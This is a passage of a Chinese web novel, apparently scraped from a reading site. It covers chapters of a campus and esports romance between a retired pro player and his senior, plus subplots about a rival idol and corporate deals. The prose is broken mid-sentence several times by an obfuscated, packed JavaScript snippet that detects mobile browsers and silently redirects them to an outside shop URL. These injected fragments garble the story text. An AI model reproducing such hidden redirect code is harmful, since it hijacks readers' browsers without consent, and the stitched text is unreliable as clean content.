RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716007|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了？” “学长好，我来拿资料。”鹿溪午难得乖巧，规规矩矩地问了好。 贺存敲下回车键，指指身后的柜子，“最高的一层，自己拿。” 学长看起来好忙，都没空看自己几眼。 鹿溪午眉梢中流露出几许失落，走上前打开柜子，仰头看向最高层，却只看见纸张的一角。 鹿溪午比划了一下高度，将右手向上伸直，脚尖向上踮起，整个人都快贴在柜子上了，指尖才勉强摸到纸张的边缘。 宽松的衬衫被向上的肩线带起，露出鹿溪午的一小截腰。 那是一段漂亮的属于成年人的弧度。 窄，却韧。 不同于贺存常年健身房里泡出来的具有力量感的肌肉线条，鹿溪午的腰更加纤薄和柔韧。 贺存望着电脑屏幕上的倒影，只觉得那一片雪白的皮肤比他的文档还要引人注目。 倒影朦胧的光看不清肌理，但却实打实能让人体会到被一层皮肉包裹的脊骨，以及嵌在两侧只露出来半边的腰窝。 贺存的瞳仁越发深沉，好似两潭幽深的泉水。 偏巧鹿溪午好似完全没注意到这个情况，还踮着脚努力够着最高层。 衣角随着身体的晃动而晃动，连带着腰线也若隐若现。 贺存终于起身，足足比鹿溪午高了半个头的身高，站起来像是黑压压的一座山。 鹿溪午就被笼罩在这座山的阴影之中，鼻端萦绕着淡淡的清香，像是雨后的树林。 温热的体温只在他背上停留了短短一瞬，稍纵即逝的温度令鹿溪午怔愣。 “……学长？” “下次够不着叫我。” 贺存将手中的纸张递出去，语调揶揄，似乎就是在嘲笑一个关系极近的朋友。 不是，怎么没什么反应啊？ 鹿溪午咬咬牙，试探性地说道，“谢谢学长，楼下同学还在等我，先走了喔。” 贺存又回到电脑面前，再没看鹿溪午一眼，“好。” 干脆、果断、毫不留恋。 鹿溪午牙花都快嘬出火星子了，握上门把准备走时，却听—— “等等。” 鹿溪午立马满面春风地回头，“怎么了，学长。” “你今天是吃的竹园的火锅吧？”贺存坐在电脑前，戏谑的目光透过镜片袭来，“挺香的。” “啊？”鹿溪午在贺存面前良好的表情管理第一次出现了裂痕。 “不过下次记得去东门外那家，更好吃。” 鹿溪午几乎要捏碎了办公室的门把手，从牙缝里艰难挤出几个字： “好、的、谢、谢、学、长。” 大门被砰的关上，隔着门板都能感受到离去之人的怨气。 贺存终于忍不住轻笑出声，手指相互摩挲着，仿佛还在流连那温热的触感。 傻乎乎的小斑比。 楼下。 鹿溪午气愤地拿起手机噼里啪啦地打字。 675：[大佬！不好了！对面好像是个直男，忒不解风情了啊啊啊啊] 675：[我都靠那么近了，结果他只在意我身上的火锅味！中午不该吃这一顿火锅的，好丢撵哇QAQ现在应该怎么办啊？] 大佬：[别灰心，你这才哪儿到哪儿。试探就是要反复进行的，之后再找机会，加油。] 是这样吗？鹿溪午挠了挠自己的脸颊，又重新燃起斗志： [好的。挥拳] 18.贴贴 之后的秋季赛，TD对阵GH不出所料地输了。 TD提前告别秋季赛，这是从来没有发生过的事情。 当年TD出道即巅峰，一路从次级联赛打到世界赛，未尝败绩。 鹿溪午更是在总决赛中直接单杀了美国队的第一中单Leo，奠定了决胜局的胜利，拿下了fmvp。 之后，处于巅峰状态的TD神挡杀神，稳拿国内所有比赛的冠军。 而现在，TD却不得不提前告别秋季赛。 战队粉丝们十分难受，官博下方各种各样的言论层出不穷。 电子竞技，菜是原罪。 陆云作为战队新面孔，deer的接班人，无疑承受来自粉丝们的极大恶意。 【这cloud打的什么啊？赶着给人送菜吗？】 【九敏，真的看得心梗了，TD能不能换个中单？把deer换回来吧……】 【TD能不能别梦游了。】 【TD，退订！】 鹿溪午刷了刷微博，看着热搜榜上的#TD退订#的词条，沉重地叹了口气。 算了，这两天暂时先不直播了，万一到时候有人带节奏，对谁都不好。 这么想着，徐泽的电话先一步打来。 鹿溪午接起电话，“怎么了，老徐？” “哦，就是打电话告诉你，这周TD放假，不用开战术会。” 徐泽的声音听起来很是疲惫，他作为一手组建TD的元老级人物，对战队的感情不比鹿溪午这些队员差。看到网络上铺天盖地的恶评，徐泽也显得有些心力交瘁。 “知道了，你也好好休息休息，别太操心了。”鹿溪午有些担忧徐泽的状态。 徐泽站在俱乐部的落地窗前，手上夹着一根点燃的香烟，一旁茶几上的烟灰缸也满是烟头。 “嗯，我知道。”徐泽故作轻松道：“当年我们不也是这么过来的吗？没事。” 鹿溪午默然。 现在的TD跟之前的TD可不一样。 那时候的TD没有背负这么多的负担，赢就是赢，输就是输。而现在，徐泽需要考虑很多比赛之外的事情，比如价值，比如赞助商。 资本可不会赔钱赚吆喝，做不出成绩就撤资，跟他们谈梦想纯粹对牛弹琴。 徐泽这几天给人陪笑陪得脸都僵了。 所幸TD战队的商业价值仍在，不至于被釜底抽薪那么严重，只是下一赛季所背负的压力更大了。 但徐泽是不会让这些压力影响到其他人的，他是个善于内化的人。 再开口时，已经让人听不出什么负面情绪了。 “TD永远都是那个TD，无所谓输赢。” 徐泽还是那个徐泽。 鹿溪午弯了弯唇角，调侃道：“你什么时候能改改你那个爱操心的毛病，好好一个教练硬是把人家经理该做的全做了。” “是哦，我应该把经理的工资给领了。” TD经理：？过分！ . 鹿溪午最近的注意力放在了贺存身上。 上次在办公室的事情给鹿溪午留下了深刻的印象，但是……谋事在人成事在天，他必须再创造机会。 不过最近贺存似乎很忙，好像是在写什么收购案来着？ 鹿溪午抿嘴，对于他这样的新生来说，收购案这种偏商科的东西离他还是遥远了些。 难得的，鹿溪午在课堂上走了神，笔尖在本子上画出几道不规则的弧线。 周有柏注意到了鹿溪午的心不在焉，碰了碰他的胳膊肘，“你干嘛呢？” “……没什么。”鹿溪午回神，看着窗外乌云密布的天空，喃喃道：“好像要下雨了。” 周有柏顺着鹿溪午的视线看去，将窗外昏沉的天光尽收眼底，庆幸道：“是啊，天气预报说今天有大雨，还好我带了伞。” 对了，伞！ 这句话令鹿溪午精神一振。 刚才跟学长聊天时，他说他还在图书馆，要是他没带伞的话…… 这不是自己刷好感的好机会吗？！ 正当他这么想着，天空中忽然划下一道刺目的闪电，紧接着就是震耳欲聋的雷声，霎时间倾盆的大雨落下，噼里啪啦地砸在地上，溅起无数小水花。 这场雨来得快极了，只一瞬，天地就被笼罩在茫茫的昏暗雨幕中，远处的高楼只剩下了一个模糊的轮廓。 贺存被这场急雨打断了思路，望着窗外豆大的雨滴，他突然后知后觉地想起今天没有带伞。 他收了电脑，坐在位置上等了一会儿，又看了看手机上的天气预报，确认这场雨一时半会儿没法停之后，无奈地叹了口气。 真是失策。 就在贺存准备叫人送伞时，一声脆生生的呼唤打断了他的动作。 “学长！” 贺存抬眸，看见了冒冒失失向他奔来的鹿溪午。 他的眼睛湿漉漉的，像是倒影着星光的湖水。 “你怎么在这儿？”贺存讶然，视线扫到了鹿溪午微湿的衣角，眼神微沉。 鹿溪午扬了扬手中的书，“我来借书，正巧碰见学长了——诶，你带伞了吗？” 贺存摇摇头。 “那一起走吧。”鹿溪午眼底闪过一丝得逞的笑意，“我送学长回去。” 鹿溪午的伞不大，一个人遮刚刚好，但面对两个成年男性，尤其是其中一个身高超过180的情况下，这把小伞显得有些捉襟见肘起来。 鹿溪午窘迫地笑了笑，把伞举高，往贺存的方向偏移。 雨声一点都不见小，空气里腾起的湿润气味越发浓郁，连成线的水珠沿着伞骨蜿蜒坠落，打湿了衣摆。北风一卷，是透心凉的温度。 贺存脱下外套罩在鹿溪午的身上，顺手接过他手里的伞柄，伞面稳稳立在头顶。 鹿溪午猝不及防被属于贺存的木质香裹了满身，直愣愣地看向贺存：“……学长？” 狭小的伞下空间使两人挨得极近，紧紧相贴的手臂使得鹿溪午能清晰地感受到贺存每一次移动的肌理轮廓，略显滚烫体温透过薄薄的布料传来。 大雨将一个个伞分隔成无数不同的小世界，这个世界此时只属于两个人。 体温，衣料，雨声，盘旋而上，交织成名为暧昧的网。 这种微妙的认知使得鹿溪午不受控制地起了一身鸡皮疙瘩，理智的弦在脑海中疯狂颤动。 太近了。 实在是太近了。 贺存敏锐地发现了鹿溪午的变化，却明知故问：“冷？” 贺存贴得更近了，几乎是半边身子都笼罩住了鹿溪午，伞柄往鹿溪午的方向倾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722317|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斜，像是被磁铁吸引的金属。 鹿溪午瞥见贺存另一侧被雨水淋湿的肩头，衬衫紧贴着肩膀结实的曲线，遒劲有力的肌肉彰显着一个成年男性的力量。 冷风迎面拍打而来，秋日的雨水夹杂着透骨的凉意。 这下鹿溪午什么旖旎的心思都没有了，伸手将伞柄扶正，“我们还是快走吧。” “好。”贺存点头，却又将伞柄不动声色地倾过去。 鹿溪午撇撇嘴，又执拗地将伞掰回来。 倾过去，掰回来，倾过去，又掰回来…… 这场无声的较量一直持续到鹿溪午家楼下。 “到了，进去吧。” 在熟悉的单元楼前，鹿溪午才如梦初醒：诶？不是我送学长回家的吗？ 贺存举着伞，将人送进室内，又不放心地站在雨幕中叮嘱：“洗澡别洗太久，记得熬点姜汤，晚上要是不舒服的话，记得吃药。” 鹿溪午眨巴眨巴眼睛：“学长……” “这伞我就借走了，快上去吧，小心感冒。” 鹿溪午目送贺存的身影消失在大雨中，喃喃自语：“这剧本……好像不对诶。” 可随后他又快乐起来，今天也是跟学长的关系拉近了一点呢！ 鹿溪午回到家里，按照贺存的叮嘱熬好姜汤，才发现自己的身上披着贺存的外套。 鹿溪午取下外套，端端正正地挂在衣架上，用手机拍好照片，给贺存发消息： 斑比：[图片] 斑比：[学长，你的外套落在我这里了。] H：[没事，先放你那。有喝姜汤吗？] 鹿溪午立马把手里的碗拍下来。 斑比：[图片] 斑比：[喝完啦。] 斑比：[我超乖的.jpg] 贺存看着手机里的那张狗狗表情包，忍不住发出一声轻笑，长按将这张图保存下来。 H：[好。] 得到回复的鹿溪午心满意足地放下手机，哼着歌抱着贺存的外套走向了洗衣机。 让他想想用哪个香味的洗衣液好一点呢？ 这场雨仍然在继续。贺存将手里的伞撑开，准备放到卫生间等它自然晾干，却无意在伞面的一角摸到了一点不平整的凸起—— 周有柏。 是黑线绣的名字，完美的跟黑色的伞面融为一体，不仔细看根本看不出来。 一瞬间想明白前因后果的贺存无奈地笑出声。 真是…… 诡计多端的小斑比。 周有柏回到宿舍楼，甩了甩伞上的雨珠才收起来。 赵文与他擦肩而过，疑惑的目光投向周有柏手上的伞。 “我记得这伞是鹿溪午的，你怎么把别人的伞给抢了？” 周有柏瞪大了双眼：“不是吧，大学霸，别人的伞是什么样的你都记得？！” 赵文耸了耸肩，“为了防止拿错，班上所有同学的伞我都记得，怎么了？” “……没事，你开心就好。” “你还没回答我的问题，鹿溪午呢？” 周有柏也学着赵文的样子耸耸肩，“我也不知道哇，他非要拿他的大伞换我的小伞，谁知道他吃错什么药了？” “那伞上还有我妈给我绣的名字呢，希望可别给我弄丢了。” 19.日常 周二早八的课是贺存的。 鹿溪午早早来到教室，将手里的纸袋端端正正地放在讲台上，纸袋里是叠好的外套。 被清洗好的外套散发着和他相同的洗衣液的味道，鹿溪午忍不住将纸袋的褶皱抻了又抻，企图让纸袋看起来更加端正一点。 “还个外套而已，用得着这么仔细吗？” 周有柏打着哈欠，面带睡意地看向鹿溪午，“不知道的还以为你拿了什么宝贝呢！” 鹿溪午轻哼一声：怪不得你到现在还没对象……学长的东西当然要用心对待了！ 贺存走进教室就看见了这个袋子，眼底是泛开笑意的湖泊，将伞递给鹿溪午，“谢谢。” 鹿溪午接过伞，指尖不可避免地从贺存的掌心划过，一触即分，像是蝴蝶的亲吻。 真是学以致用…… 贺存微眯起双眼，回味起这样轻柔触碰来。 鹿溪午小心地斜觑着贺存的表情，似乎并没有明显的抗拒和厌恶。 这是不是说明自己还有机会？ 只有周有柏没心没肺地挠挠头，小声问鹿溪午：“我就说伞很小不适合两个人遮雨吧，你看你还给贺老师洗了外套，多麻烦呀。” 这怎么能叫麻烦？这叫情趣，情趣懂不懂？ 鹿溪午不愿再跟注孤生的周有柏继续这个话题：“这伞，我下课再还给你，先准备上课吧。” 周有柏不明所以地点点头，想起另外一件八卦：“对了，你知道吗？贺老师是这一届的校园十佳学子诶。” “当然了，贺老师一直都很优秀。” “我不是这个意思。” 周有柏叽叽咕咕把C大的评奖规则一股脑地说了，“校级哪有市级香？据说贺老师为了这个校园十佳学子，还把声乐系的候选人得罪了。” “声乐系？”鹿溪午不明所以，“谁啊？” “好像叫什么什么林？”周有柏眯着眼睛努力回想，“是个小有名气的艺人来着。” “林奚。”鹿溪午沉声，“贺老师把林奚的名额占了？” “对对对，就是他。” 周有柏连连点头，“对声乐系来说，校园十佳学子称号很重要，几乎关系了谁能在毕业演出里做首席。咱们贺老师横刀夺号，不得被人家记恨死了？” “怕什么，荣誉这件事，本来就是能者居之。”鹿溪午丝毫不慌，甚至还对林奚落井下石，“谁让他这么菜的？” 相比于贺存的气定神闲和鹿溪午的幸灾乐祸，林奚就没那么好过了。 被挤出候选名单这件事不知道怎么被对家知道了，对方找了不少营销号黑林奚。 本来林奚营造的音乐才子的人设是他吸粉的利器，现在却成了一把对准自己的尖刀。 【什么才子啊？假的吧？】 【这成绩看着也不是很高……】 当然也有粉丝出来维护。 【我们奚奚本来就是大学霸，有本事你也考一个C大试试？】 【谁还没有个落选的时候了？难道你从小到大都是第一吗？】 网上吵成一团。而林奚握着手机，面无表情。 林沂天的电话就是在这时打来的。 “爸爸。” “小奚。”电话另一头的林沂天听起来没有太大的情绪，“你去工作其实爸爸是支持的，但是——” 林奚咬紧了牙关。 “但是你得保证你的学业。毕竟还是学生，学习才是你的第一要务。” “……我知道了，爸爸。”林奚攥紧了手机，“不会有下次的。” 林沂天点到为止，转而又是一副慈父的姿态叮嘱林奚注意身体。 黄董一进办公室看到的就是林沂天慈父的一面，不自觉笑着跟他点了点头算作打招呼。 林沂天挂了电话，看向黄董，极为自然地招呼：“来啦？” “又给小奚打电话呢？” “这孩子，操心。”林沂天摆了摆手，“跟他哥哥比起来还是差一些。” “知足吧，你家那两个比我家的省心多了。”聊起孩子，黄董身上的气质明显温和起来。 林沂天摇摇头感叹：“儿女都是父母的债啊……” 黄董笑着将话题拉回正轨，“还是说说跟华曙合作的事吧，我这边前期接触下来还算顺利，你准备派哪个主事啊？” “我正头疼呢。”林沂天揉了揉额角，“跟华曙这种体量的集团合作，我们也是第一次。” “还想什么啊？我看林修就挺合适的。” 林沂天眼眸微闪：“……他太年轻，这个项目太大了。” 黄董大手一挥，“我还就看好林修了，就他吧。” …… 出了办公室，黄董脸上的笑意瞬间消失。 “黄董，这个项目就这么给林修了？那我们前期工作不就白干了吗？”助理忿忿道。 “想跟华曙合作的，不止我们一个。”黄董老神在在，“你以为，这些天华曙接触的合作商，就只有我们一家吗？” 助理不解：“可从前期接触来看，华曙明明对我们很满意啊……” “客套罢了，华曙这样体量的集团不会连姿态都不会做。我倒是觉得很有可能会竹篮打水一场空。” 黄董嗤笑道：“让林沂天那个老家伙带着他儿子去折腾吧。” “那后面的工作？” “先准备跟颂惟传媒的合作吧。” 华曙集团总部大楼。 贺晋城刚刚听完上一季度的汇报会，秘书就给他打来了电话。 “收购一个直播平台？”贺晋城挑高了眉梢，那张跟贺存有五分相似的脸庞上讶异涌现，岁月没有在他身上留下太大的痕迹，像是一瓶老酒将光阴酿成了风味。 秘书如实地汇报着贺存在集团的动作，请示贺晋城的下一步动作。 “随他去吧。”贺晋城翻开手边的文件，一心两用地跟秘书交代，“说了华曙的互联网合作开发归他管，就是归他管。至于他能做成什么样子，成绩能不能服众，都是他自己的事情。” 秘书大概没有想到贺晋城真能对贺存负责的板块放手不管，愣了好一会儿才挂断了电话。 . 晚上回家，鹿溪午正跟大佬汇报情况。 675：[大佬大佬，我觉得根据情况来看，我也不是没有机会的！他一点也不排斥和我接触呢。] 大佬：[嗯，你很优秀，喜欢上你很正常的，不要妄自菲薄。后续你怎么做有思路吗？] 675：[我想更靠近他一些些，这样未来表白时的把握就更大了哈哈哈哈。] 大佬：[去吧，尽你最大努力，别留遗憾。] 跟大佬聊完天，鹿溪午收拾了一会儿准备开播。 刚一打开直播间，各色的弹幕就铺满了屏幕。 【死鬼！你还记得你是一个主播吗？】 【又来了又来了，我和D神比命长系列。】 【请问deer对TD秋季赛失利有什么看法呢？你认为是你退役导致的吗？】 【？？？黑子叉出去！】 【尬黑是吧？房管禁他言！】 鹿溪午日常无视这种引战弹幕，随机登录了小号点了排位。 常用的小号都拿来跟周有柏和赵文打三排了，每次直播登录账号时都得想想是哪个。 这个乱码小号一直连胜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726318|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，隐藏分很高，排到的也基本都是高手。 但鹿溪午没想到自己还能排到老熟人。 “deer？” “sad？” 【？？？】 【GH的上单sad！】 【冤家路窄】 两人一阵相顾无言。 GH是异界的老牌强队，去年GH的射手，中单退役，这只队伍经历了漫长的阵痛磨合期，终于在这届秋季赛重回巅峰。 sad作为活跃在赛场上的老牌上单选手，实力强劲，是他的坚持才将GH带离低谷。鹿溪午对他抱有属于强者的尊敬。 “你想打什么，我帮你抢。” 这把sad排在一楼，抢英雄很方便。 “我补位就好了，这把你C。”有了一个大神队友，鹿溪午开始摆烂，“我这边直播呢，sad你可悠着点。” “我也播着呢。”sad闷闷的声音透过网线传来，“你别想偷懒，这把咱们两个要是输了，丢脸就是丢到两个直播间了。” 【别立flag】 【九敏，我怎么觉得这把很有可能输】 【哈哈哈哈哈哈哈喜闻乐见】 鹿溪午被迫营业，“行吧，我拿光影信徒走中。” “那我使命机器配合你。” 使命机器移速慢，但攻击高，有强控，跟双形态的光影信徒配合开团很好用。 两人一开局就打得很凶，sad仗着自己皮厚伤害高，一度把对面的上单压得不敢出塔。 鹿溪午更是操作犀利，六级时买了对方一个破绽，直接闪现拿下了一血。 两人打得太凶，对面察觉到之后开始抱团。 但打团战鹿溪午和sad会怕吗？ sad一个强控冻住对面的双C，鹿溪午趁机切入后排，配合我方射手疯狂压对面血线。 光影信徒大招一开，对面两个脆皮直接倒地，杀人后技能刷新，光影信徒又反过头打对方的前排。 此时sad已经在集火下牺牲，我方射手也在放出大招后被对方的上单砍死，打野技能用尽，正在疯狂平A。 鹿溪午秒切影形态，配合打野拿下对方上单人头。 三换四！ deer三杀！ 【666】 【谁懂啊家人们，D神宝刀未老】 【deer哪有状态下降？明明可以直接打比赛的好吗？】 【所以deer为什么放弃TD？】 【滚呐！怎么这么多黑子！】 就连sad也唏嘘不已：“干得漂亮。” 鹿溪午趁这个机会疯狂推塔：“还是你开团开得好，继续继续！” 两个职业大神的素养不用说，哪怕从未配合过，但操作也能弥补配合上的硬伤。 对面被打得怀疑人生，到后期直接放弃抵抗，眼睁睁看着自家水晶被打。 两人打得尽兴，干脆双排一起上分。 【好恐怖哦，这高端局怎么打得跟炸鱼一样？】 【sad的开团时机把握是联盟公认的第一，打团战简直对deer太友好了】 【看得真爽，差点忘了这是一个推塔游戏】 【所以deer为什么抛弃TD？】 【啊啊啊，这些黑子有完没完？】 鹿溪午对于这些黑粉的言论一向是不理睬，他甚至还笑眯眯地跟sad约下一次双排的时间。 “等秋季赛打完吧，最近训练挺紧张的。” “行啊，等秋季赛打完我再来找你，比赛加油啊，TD输给冠军队才不丢脸。” sad回得云淡风轻：“行啊，借你吉言咯。” 20.代言 异界之巅寻找代言人的消息一经宣布，就在网上引起了广泛的讨论。 作为现象级的爆款游戏，异界在美洲，欧洲，东南亚等多个地区都有形象代言人。 而作为玩家数量最多的华国内陆，却一直忽略了这件事。 内娱粉丝个个摩拳擦掌，想要自家爱豆拿到这款推广度极高的代言。 【推荐我担，能打能唱还能跳！】 【笑死，游戏代言人需要唱跳？把段位发出来看看？】 【我说最近代练业务怎么这么好，原来是因为这个啊。】 【默默说一句，我觉得林奚挺合适的。】 【林奚谁啊？】 得益于平时对自己游戏人设的塑造，底下的评论有不少提到了林奚，但更多的，则是许多人询问“谁是林奚”。 娱乐圈咖位决定一切，甚至包括网络上的评论。 “——林奚？林奚？我们的访谈准备开始了。” 林奚从手机里抬头，歉意地看向导播，“抱歉，看入迷了。” 他把手机递给助理，脸上又重新拾起温和清雅的微笑，“开始吧。” “欢迎各位来到《你有话说》，我是你们的老朋友洛洛，今天做客我们节目的嘉宾是最近的人气小生——林奚！欢迎林奚！” “大家好，主持人好，我是林奚。” …… 张青婉坐在监视器后方，盯着林奚的表现。 这个自媒体的访谈是她好不容易才给林奚争取来的。 《你有话说》这个自媒体是做电竞选手的访谈起家的，近几年也接一些流量明星的访谈，但张青婉看中的是这个节目的受众群体跟异界之巅的玩家重合度高。 要是林奚能抓住这个机会，在观众面前留下好印象，他们拿到异界之巅代言人的几率也就更大。 “那您平时怎么打发时间呢？” “当然是玩游戏啦。”林奚不好意思地挠挠头，“我是网瘾少年。” “比如？” “最喜欢的是异界。” “哈哈，看来异界的玩家很广呢！方便问一下你是什么段位吗？” 林奚骄傲地笑了笑：“王者。” “哦！看来也是一个高手呢！” …… “青婉姐，我的表现怎么样？”林奚结束之后便迫不及待地问张青婉。 “发挥不错，剩下的就要等播出之后的反响了。” 相比于眼前的访谈，张青婉现在正担心另一个问题，“我刚刚听说异界那边正在接触刘影帝，看来他们还是希望找一个国民度更高的人。” 林奚沉默地咬了咬下唇，他才刚出道没多久，国民度怎么可能比过影帝这一级别的人物。 “刘影帝之前是元嘉的艺人，有没有可能……”张青婉恰到好处的停顿使林奚瞬间领悟了她的未尽之语。 能在娱乐圈混得开的不会是一个墨守成规的人，相反，张青婉很擅长利用各种人脉达成目的。 林奚眸色深深，还是拨通了一个电话号码。 “喂，小奚？怎么了？”林修熟悉的声音响在耳畔，伴随着些微的嘈杂人声。 林奚突然就有些迟疑：“大哥……在忙吗？” “有一点。”林修接过助理递过来的文件，利落地签上自己的大名，又推给助理，“最近新接的一个项目有些棘手，怎么了小奚？” 准备好的话语顿时说不出口了。 林修从这长久的停顿中察觉到什么，“小奚？怎么了？是工作遇到什么麻烦了吗？” “……没什么，最近降温了，哥哥注意身体。” 林修看着迅速挂断的电话，眉头蹙起。 “小林总，会议的时间到了。” 助理的声音把林修拉回现实，“好，我知道了。” 张青婉迫切地看向林奚：“怎么样？” “大哥最近有点忙……” 张青婉遗憾地叹口气，没有多说什么，“那我先去找刘影帝那边的经纪人探探口风。” 林奚有点难堪地咬紧下唇：“我去上个洗手间。” 林奚逃也似地跑进厕所的隔间，锁住门口。 他现在的脑子里一团乱麻：果然离了林家，我就什么也不是吗…… 厕所并不隔音，林奚听到由远及近的脚步声，更不敢出声被人发现了。 “你说为什么这次的访谈嘉宾变成林奚了啊？一周前布置任务的时候明明不是他。” “你没看见他的经纪人吗？张青婉，谁不买她的面子？” “要是能访谈到Ｄ神就好了。” “你省省吧，上次那个不露脸的线上专访已经是极限了。” “我还记得那一期的数据是咱们做节目以来最好的一期，连季度奖金都发了不少呢。” “唉，希望这次的林奚不要给我们拖后腿吧……” “我的要求不高，别扣绩效就行。” …… 两人的声音渐行渐远。 林奚站在厕所最里面的一个隔间，左手攥着门把，手指用力到发白。 . 林修负责的正是打算与华曙合作的项目。 林氏近几年更偏向于实业，对于华曙要求的互联网经济这个领域并不算深耕，作为负责人，林修最近的压力很大。 “你去问问张青婉，是不是小奚那边有什么麻烦——对了，华曙那边还是没有答应见面吗？” 助理为难地看向林修：“没有。” 林修叹了口气：“那对手公司呢？” “华曙也没见。” 一个都不见，华曙葫芦里究竟卖的什么药？林修烦躁地揉了揉太阳穴。 “小贺总，您真的一个都不见吗？” 贺存坐在巨大的落地窗前，金色的阳光透过玻璃洒在他身上，给他渡上一层温暖的光晕。银框眼镜下是从容镇定的眼神，长款西装勾勒出贺存修长而精壮的身材。 贺存放下咖啡杯，骨瓷跟茶几玻璃相触，发出清脆而又昂贵的声音。 “不用。” “国内的电商平台最有可能和我们达成合作的就是这几家，要不……您还是和林氏他们接触接触看看吧？” 贺存犀利冷沉的眼光射向助理，一股难言的压力顿时弥漫在空气中。 助理紧绷着身体，额头上的汗水开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730248|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始密密麻麻地冒出来：明明还只是一个学生，为什么会有这么大的压迫感？ “目前国内的电商已经饱和，我们何必去跟这些已经成型的庞然大物抢资源？”贺存垂下眼睫，仿佛刚才无声的警告并不存在，“我让你去背调的几家直播平台，有眉目了么？” 助理顿时松了一口气，“已经完成了，我正在整理。” “那就去吧，今晚就把结果发我邮箱。” “是。”助理悄然退出办公室。 贺存目光沉沉地看着落地窗外车水马龙的世界。 若是可以选，他宁愿做一个保护动物的志愿者，而不是华曙集团的继承人，但很多责任是人一出生就注定要背负的，没得选。 叮咚—— 企鹅的特关提示音，是鹿溪午。 斑比：[陪俱乐部疯狂集训的一天。] 配图是一张鹿溪午的侧颜照。 照片里，鹿溪午正专注地盯着电脑，鸦羽般纤长浓密的眼睫微微下垂，挺拔有型的鼻梁和清晰的下颌线无一不在说明这张脸的完美，尤其是那双亮如琥珀的瞳仁，明澈清湛一如驯鹿。 贺存的眼里蓄起几分明亮温暖的笑意，手指轻动间给鹿溪午点了个赞，顺便把这张照片保存下来。 鹿溪午此时就在等这个赞。 “nice！” 徐泽疑惑转头，映入眼帘的就是鹿溪午笑得一脸不值钱的样子，“……你没事吧？” 鹿溪午像是一只开屏成功的孔雀，喜滋滋地收起手机，毫不犹豫地回怼：“你才有事儿呢！” 徐泽看着最近TD的训练成果一片大好，此时正是兴头上，决定不予计较鹿溪午的无礼行为。 “我看小陆云已经很有你当年的风采了，你这前浪可别死在沙滩上了。” 提到陆云，鹿溪午跟徐泽同样欣慰，“你也不看看是谁的徒弟，我就说他一定能行吧。” 经过秋季赛的磨砺和鹿溪午跟徐泽对陆云的魔鬼训练，小陆云如今已经有几分大将的风采了。 “等明天秋季赛决赛完了，我就去跟其他战队约几场训练赛试试。” 徐泽对着陆云的数据版面看了又看，“下个赛季我们可是冲着冠军去的。” 提到秋季赛的决赛，鹿溪午突然想到跟sad的双排：“你说GH跟NH那个队伍胜算更高一点？” “不好说，磨合后的GH简直是大杀器，sad指哪儿打哪儿，但NH战队的下路王牌组合发挥一如既往的稳健。”徐泽一边说一边琢磨，突发奇想地说道： “诶，要是有个队伍能把咱们TD的中野组合，GH的上单，NH的射辅放在一起，那该有多强。” 鹿溪午摸了摸下巴：“都是大神选手，谁做战术核心啊？” 徐泽放下平板，真的开始思考起来：“看战术需要，打一场换一个核心，看对面怎么防。” “得了吧，你也就想想，要是真集齐这么多大神，也只能去打奥运会了。”鹿溪午懒洋洋地靠上椅背，“老徐啊，你还是多想想下一年的夏季赛和S9吧。” 徐泽遗憾地叹口气：“我这不想想嘛，万一电竞真的加入奥运了呢。” 21.帮忙 秋日的夜晚微风习习，空气凉爽而清新。 树木在秋风中轻轻摇曳，金黄色的叶子如同蝴蝶般飘落，缓缓地铺满了小径。 鹿溪午踩在黄昏的街道，每走一步都是沙沙的响声，宛如一首悠扬的乐章。忽的，这首乐章中掺杂了几个不和谐的音符，似乎是动物幼崽的叫声。 探头往旁边的草丛一看，是一只细伶伶的小狗仔。杂乱虬结的毛发支棱在小狗的皮肤上，眼睛糊满了黑色的分泌物，在凉风中撑着脑袋发出不甘的呜呜声。 鹿溪午一时停在原地，盯着虚弱的小狗仔不知如何是好。它看起来那样弱小，鹿溪午真怕自己一个用力把它的骨头拧折了。 莫名的，鹿溪午想起了那只被贺存从空调外机上拎出来的小猫，一样的瘦弱不堪，一样的可怜巴巴。 “行吧，算你运气好，遇见我了。” 幸好不远处有个快递站，鹿溪午去捡了一个纸箱来装着小狗。 还是上次一样的宠物医院，不过这次是鹿溪午一个人推门而入，但大厅里的景象却让他寸步难行。 